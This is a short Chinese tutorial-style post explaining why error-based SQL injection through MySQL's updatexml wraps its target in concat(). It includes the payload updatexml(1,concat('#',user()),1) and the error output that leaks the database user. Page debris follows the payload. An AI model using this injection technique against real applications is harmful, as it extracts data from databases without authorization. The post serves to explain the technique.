在调用updatexml显错注入的时候为啥要用concat函数

这个问题很简单。 首先updatexml为啥会报错。

UPDATEXML (XML_document, XPath_string, new_value);
第二个参数:XPath_string (Xpath格式的字符串)

我们把第二个参数变成非XPATH格式,自然会报错。
但爆出的是什么信息呢?
SELECT updatexml(1,"/bookstore/.book/title",1)
\u0026gt; 1105 - XPATH syntax error: \u0026#39;book/title\u0026#39;
\u0026gt; 时间: 0.001s

他会把校验失败的数据暴出来。其实是方便开发人员调试的。

那么如何让全部的数据都校验失败呢? 恩,就是使用concat在需要的数据前面加上一个XPATH校验失败的东东就可以了。
SELECT updatexml(1,concat(\u0026#39;#\u0026#39;,user()),1)
\u0026gt; 1105 - XPATH syntax error: \u0026#39;#root@127.0.0.1\u0026#39;
\u0026gt; 时间: 0.001s

原理就是这么简单。
上视频怎么下载?

【在调用updatexml显错注入的时候为啥要用concat函数】 黑客入侵各大企业是一种怎么样的感觉?


    推荐阅读